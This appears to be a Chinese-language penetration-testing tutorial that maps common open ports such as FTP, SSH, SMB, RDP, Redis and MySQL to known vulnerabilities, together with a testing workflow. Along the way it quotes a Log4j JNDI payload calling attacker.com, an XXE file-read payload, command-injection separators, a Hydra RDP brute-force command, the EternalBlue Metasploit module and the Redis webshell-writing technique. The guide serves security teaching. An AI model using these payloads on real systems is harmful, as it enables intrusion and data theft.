渗透测试实战:从端口扫描到漏洞利用的完整攻防指南

发布时间:2026/7/30 1:43:16
渗透测试实战:从端口扫描到漏洞利用的完整攻防指南 1. 端口与漏洞渗透测试的“敲门砖”与“藏宝图”干了这么多年渗透测试我越来越觉得端口扫描结果就像一张藏宝图而每个端口背后可能存在的漏洞就是图上那些若隐若现的“X”标记。很多刚入行的朋友拿到一份Nmap扫描报告看到上面密密麻麻的开放端口比如21、22、80、443、3306、6379等等第一反应往往是兴奋觉得“有东西可打了”。但紧接着可能就是迷茫这个端口开了到底意味着什么它背后跑的是什么服务这个服务历史上出过哪些有名的漏洞我现在应该从哪个方向去试探这份迷茫恰恰是经验与新手之间的一道鸿沟。今天我就结合自己这些年“踩坑”和“挖洞”的经历来系统性地聊聊那些最常见的服务端口以及它们背后那些让人又爱又恨的经典漏洞。这绝不是一份冷冰冰的端口-漏洞对照表而是想和你分享一种思考方式如何从一个开放的端口快速定位到可能的攻击面并选择最高效的测试路径。无论是做授权渗透测试、红队演练还是自己搭建靶场学习理清这些脉络都至关重要。毕竟在真实对抗中时间就是一切精准的打击往往比盲目的扫射更有效。2. 网络服务层Web与文件传输的攻防前线当我们谈论常见服务时Web和文件传输服务无疑是曝光度最高、也最常被首先探查的领域。这些端口通常是通往目标系统的第一道大门。2.1 Web服务的门户80与443端口80HTTP和443HTTPS端口是互联网的“门面”。看到它们开放几乎可以断定目标运行着Web服务。这里的漏洞生态最为丰富也是渗透测试的主战场。核心漏洞方向与实战思路注入类漏洞这是Web安全的“常青树”。SQL注入寻找一切用户可控的输入点GET/POST参数、Cookie、HTTP头。工具层面Sqlmap依然是王者但手动测试更能理解本质。我常用的手动探测方法是使用单引号‘、and 11、and 12这类Payload观察返回差异。对于MyBatis这类框架要特别注意${}的滥用问题。如果开发人员图省事在动态SQL中直接使用${id}而非#{id}进行拼接且id参数用户可控那就等同于一个标准的SQL注入点。在代码审计或黑盒测试发现使用MyBatis的项目时这是一个需要重点关注的模式。命令注入常见于网络设备、运维系统的功能点如ping、tracert、系统信息查询等。测试时尝试拼接;、|、、、||等命令分隔符后接whoami、id等命令。XXEXML外部实体注入在接收XML格式数据的接口处测试。尝试在XML中声明并引用外部实体如!DOCTYPE foo [!ENTITY xxe SYSTEM “file:///etc/passwd”]然后在文档中引用xxe;观察响应是否包含文件内容。这在一些基于XML的API、文档解析功能中可能出现。跨站脚本攻击虽然老生常谈但危害从未降低。分为反射型、存储型和DOM型。测试要点不要只满足于弹个窗。要思考XSS的利用场景窃取Cookiedocument.cookie、发起CSRF请求、键盘记录、甚至结合其他漏洞形成组合拳。对于反射型XSS重点测试搜索框、错误信息页面等存储型则关注留言板、个人信息、文章评论等处。绕过技巧当简单的scriptalert(1)/script被过滤时需要尝试大小写混淆、编码HTML实体、URL、Unicode、利用事件处理器onerror、onload、或者寻找未严格过滤的标签如svg、img。文件处理漏洞这是获取服务器权限的捷径。文件上传漏洞核心在于绕过验证。验证通常包括客户端JS校验、服务端MIME类型检查、后缀名黑/白名单、文件内容头检查如图片魔数、重命名策略等。实战绕过先传一个正常图片抓包修改文件名为shell.jpg.php双写后缀修改Content-Type为image/jpeg在图片末尾追加PHP代码并利用?php标签与图片内容之间用?闭合图片格式的干扰需具体分析解析逻辑最理想的情况是存在解析漏洞例如Apache的shell.php.jpg被解析为php或IIS的shell.asp;.jpg被解析为asp。文件包含漏洞分为本地文件包含和远程文件包含。利用../进行路径遍历读取系统敏感文件/etc/passwd,C:\windows\win.ini。如果允许包含远程URLRFI则可以直接包含一个远程的恶意脚本获取Webshell。反序列化漏洞这是近年来高危害漏洞的“重灾区”尤其在企业级Java、PHP应用中。Fastjson这几乎是国内Java开发者的“噩梦”。从早期版本到最近的1.2.83反序列化漏洞层出不穷。其原理简单说就是Fastjson在解析JSON字符串时如果autotype功能开启或存在绕过攻击者可以构造特殊的JSON数据指定加载恶意类从而执行任意代码。看到使用Fastjson组件的应用这就是一个必须深挖的点。测试时可以尝试使用已知的Payload探测或者通过DNSlog等外带平台检测是否存在反序列化点。Log4j2这个漏洞的震撼力无需多言。其核心在于JNDI注入。只要日志内容用户可控并且使用了存在漏洞的Log4j2版本攻击者就可以通过${jndi:ldap://attacker.com/a}这样的字符串触发远程类加载。在测试中任何可能被记录到日志的输入参数User-Agent、Referer、表单字段都可以尝试插入JNDI Payload进行探测。Java反序列化通用利用除了特定组件通用的Java反序列化利用链如CommonsCollections、Beanutils等在Shiro、Weblogic、JBoss等框架或中间件中也极为常见。SSRF与信息泄露SSRF服务器端请求伪造。常见于“获取网络资源”、“网页截图”、“代理服务”等功能。利用它可以让服务器对内网或其他受限网络发起请求从而探测内网服务、攻击Redis/Memcached等未授权访问的内存数据库甚至利用协议如file://,gopher://,dict://进行更深层次的利用。信息泄露除了常见的.git、.svn、.DS_Store、备份文件.bak,.swp,.old泄露源码要特别关注API文档页面如/swagger-ui.html、/api-docs等。Swagger页面如果未授权访问会直接暴露所有API接口、参数甚至数据结构这等于给攻击者提供了一份详细的“攻击说明书”极大降低了攻击难度。2.2 文件传输的通道21与69端口21端口承载着FTP服务。它的安全问题往往非常“经典”。匿名登录这是最低级的错误但依然常见。尝试使用用户名anonymous和空密码或任意邮箱密码登录。一旦成功意味着你可能获得了整个FTP目录的读写权限。弱口令爆破使用常见的用户名/密码字典进行爆破是进入FTP的常规手段。主动/被动模式与防火墙绕过在渗透测试中如果能在目标服务器上获取一个Shell有时可以通过在该Shell上开启一个简单的FTP服务器利用FTP的主动模式PORT命令让目标服务器主动连接我们的攻击机从而绕过出站限制建立一条反向数据传输通道。FTP Bounce攻击一种较古老的攻击利用存在缺陷的FTP服务器作为代理向第三方主机发起端口扫描或其他攻击现在已较少见。69端口是TFTP一种简单的文件传输协议无需认证。它常被用于网络设备如路由器、交换机、IP电话的固件升级或配置备份。如果发现开放TFTP可以尝试使用tftp命令获取config.xml、startup-config、running-config等敏感配置文件里面可能包含管理员密码、网络拓扑等关键信息。3. 系统与远程管理端口直接通往系统核心这类端口一旦被突破往往意味着直接获得了对操作系统的某种程度的控制权。3.1 安全外壳的裂痕22端口22端口对应SSH是Linux/Unix系统的远程管理命脉。针对SSH的攻击几乎全是认证层面的。弱口令/默认口令爆破这是最主要的方式。利用强大的字典如rockyou.txt结合目标行业、公司名的定制字典对root、admin及常见系统用户名进行爆破。工具如Hydra、Medusa是标配。用户名枚举某些配置不当的SSH服务如使用某些版本的OpenSSH并启用了某些认证方式会在用户不存在和密码错误时返回不同的错误信息从而允许攻击者枚举出系统存在的有效用户名为精准爆破提供目标。私钥泄露与免密登录如果在Web渗透中发现了.ssh/id_rsa私钥文件可以尝试用它直接登录。注意私钥可能被加密需要破解密码。或者如果发现authorized_keys文件可写可以写入自己的公钥实现免密登录。版本漏洞关注OpenSSH的CVE如过去的CVE-2014-0166用户名枚举、CVE-2018-15473用户枚举等但这类漏洞相对较少且修复迅速。3.2 Windows的命门135、139、445、3389端口这一组端口是Windows生态的典型代表。135端口主要用于RPC端点映射。它本身漏洞不多但它是许多其他RPC服务的“向导”。通过它可以查询目标主机上还运行了哪些高位的RPC服务。历史上著名的“冲击波”病毒就利用了RPC漏洞。139/445端口这是SMB协议的大本营用于Windows文件共享和打印机共享。永恒之蓝MS17-010漏洞利用SMBv1协议的缺陷可以实现远程代码执行是当年WannaCry勒索病毒的传播通道。虽然过去多年但在未及时更新的内网系统中依然可能遇到。使用msfconsole的exploit/windows/smb/ms17_010_eternalblue模块可以轻松检测和利用。SMB共享枚举与密码爆破使用enum4linux、smbclient等工具可以枚举共享目录、用户列表等信息。如果获取了某个用户的密码或通过其他方式可以尝试使用smbclient或psexec进行横向移动。空会话连接旧版本Windows允许使用空用户名和密码连接IPC$共享枚举大量系统信息用户、组、共享、会话等。现代系统默认已禁止但在某些配置不当的域环境中仍可能发现。3389端口远程桌面协议。攻击方式非常直接爆破。使用hydra -t 1 -V -f -l administrator -P password_list.txt rdp://进行爆破。此外要关注RDP本身的漏洞如“BlueKeep”。3.3 数据库的脆弱入口1433、3306、5432、6379、27017端口数据库端口开放到公网是严重的安全失误但现实中屡见不鲜。1433端口微软SQL Server。默认用户sa是绝佳的爆破目标。除了爆破还要测试是否存在xp_cmdshell存储过程被启用的情况如果sa权限且xp_cmdshell可用那么一个SQL注入点就能直接转换为系统命令执行。3306端口MySQL/MariaDB。 root用户弱口令是通病。在Web应用渗透中如果通过SQL注入获取了数据库权限可以尝试用into outfile写Webshell需要知道Web绝对路径且有写权限。MySQL的历史漏洞如CVE-2012-2122认证绕过也值得注意。5432端口PostgreSQL。同样存在弱口令问题。高权限下PostgreSQL的COPY命令或lo_import函数也可能用于写文件。6379端口Redis。这是未授权访问的重灾区。默认安装无认证直接可连。未授权访问redis-cli -h直接连接。连接后可以通过config set dir和config set dbfilename命令将数据库文件保存路径设置为Web目录并将数据设置为一句话Webshell内容然后save从而在Web目录生成一个Shell。主从复制RCE更高级的利用方式通过FULLRESYNC协议可以让目标Redis服务器从攻击者控制的“恶意的”主节点同步数据该数据包含恶意模块最终实现远程代码执行。27017端口MongoDB。早期版本也常因无认证而暴露。直接使用mongo客户端连接即可管理所有数据库。即使设置了认证弱口令爆破也很常见。4. 其他关键服务与特定漏洞端口除了上述大类一些端口关联着特定的、高价值的漏洞。161/162端口SNMP。简单网络管理协议用于网络设备管理。默认社区字符串public/private如同密码。通过snmpwalk工具使用已知社区字符串可以获取设备的系统信息、运行进程、网络接口、路由表等海量信息是内网信息收集的利器。389/636端口LDAP。轻量目录访问协议常用于企业统一认证。除了爆破LDAP注入也是测试点原理类似SQL注入。在Web应用测试中如果登录认证后端是LDAP可以尝试在用户名处注入*、(、)、、|等特殊字符可能绕过认证或枚举用户。23端口Telnet。古老的明文远程终端协议。除了弱口令爆破无其他复杂漏洞但因为其通信完全明文在中间人攻击面前不堪一击。25、110、143端口SMTP、POP3、IMAP。邮件服务协议。除了爆破邮箱账号SMTP服务可能存在用户枚举漏洞VRFY/EXPN命令或者可被用来伪造邮件进行钓鱼。开放25端口的服务器如果配置不当开放中继可能被滥用于发送垃圾邮件。2049端口NFS。网络文件系统。如果配置了no_root_squash且共享目录可写那么客户端可以以root身份在共享目录创建文件结合SSH密钥写入可能获得root权限。873端口Rsync。远程同步服务。如果未配置认证或认证弱可以列出模块甚至直接同步数据到本地可能导致源码、配置文件等敏感信息泄露。9200/9300端口Elasticsearch。搜索服务。未授权访问可直接操作索引数据甚至执行任意代码如CVE-2015-1427通过Groovy脚本执行。11211端口Memcached。内存缓存系统。典型的未授权访问服务。除了直接读取缓存数据可能包含敏感信息它还能被用于发起大规模的DRDoS放大攻击因为其响应包可能远大于请求包。32768端口这是一个动态或私有端口。单独看这个端口号没有特定意义它可能被任何应用程序临时占用。在渗透测试中发现高位端口开放需要进一步用nmap -sV -p进行版本探测或者用nc连接上去看看banner信息才能判断其具体服务。它可能是某个定制化服务、管理后台、或者一个存在漏洞的测试环境。5. 从端口到漏洞的实战工作流与思维模型知道了端口对应什么漏洞更重要的是如何将其融入你的实战工作流。下面是我个人常用的一套思路信息收集与端口扫描使用nmap -sS -sV -O -p-进行全端口扫描和版本探测。-sV的结果至关重要它能告诉你确切的软件和版本号。初步风险评估与目标选定扫描完成后快速过一遍报告。高风险目标直接暴露的数据库3306, 6379, 27017、未授权服务Memcached, Redis、已知存在重大漏洞的特定服务版本如Apache Struts 2.3.x, 存在漏洞的Fastjson版本。中风险目标Web服务80, 443、管理服务22, 3389, 21、企业服务LDAP, SMB。低风险/信息类目标SNMP、NFS、Rsync主要用于信息收集为后续攻击铺路。针对性漏洞探测与利用对于Web服务打开浏览器用Burp Suite抓包进行手动探索和自动化扫描但不要完全依赖自动化。根据nmap -sV识别的中间件Nginx 1.18, Apache 2.4.49、框架ThinkPHP, Spring Boot、特殊组件Swagger UI, Druid监控去搜索对应的历史漏洞和利用方式。对于数据库/缓存未授权直接用客户端连接尝试执行命令、写文件。对于需要认证的准备针对性字典进行爆破如MySQL的root用户字典SQL Server的sa用户字典。对于管理服务SSH、RDP、FTP首要任务就是爆破。使用高质量的字典并考虑目标行业特性如学校可能用学号企业可能用姓名缩写生日。对于特定版本服务根据nmap -sV获取的版本号在Exploit-DB、GitHub、CVE数据库如nvd.nist.gov中搜索对应版本的公开漏洞和Exp。例如看到OpenSSH 7.2p2就去搜这个版本有没有已知的CVE。横向移动与纵深拓展通过一个突破点比如一个Webshell在服务器内部进行信息收集网络配置、进程、密码文件、历史命令并尝试利用获取的密码、密钥、票据在Windows域中去攻击其他开放端口对应的内部服务。内网里的SMB、SQL Server、Redis可能因为信任关系而配置得更加宽松。持续验证与清理痕迹在授权测试中每完成一步攻击都要验证攻击效果是否达到预期如是否真正获取了指定权限的文件并记录详细的攻击路径和证据。测试结束后根据授权范围清理上传的Webshell、添加的用户等测试痕迹。最后我想分享的一点心得是工具和知识库永远在更新但渗透测试的思维模式是相通的。这份“端口-漏洞”地图是你脑中的索引而真正的能力在于如何将一个个孤立的“点”开放端口通过你的经验和技术连成一条通往目标的“线”攻击路径。每次测试前花点时间研究目标的行业、规模、可能使用的技术栈能让你的攻击更加精准。保持对新技术、新漏洞的好奇心定期更新你的工具和知识库才能在这个领域持续前进。真正的渗透测试三分靠工具七分靠思考。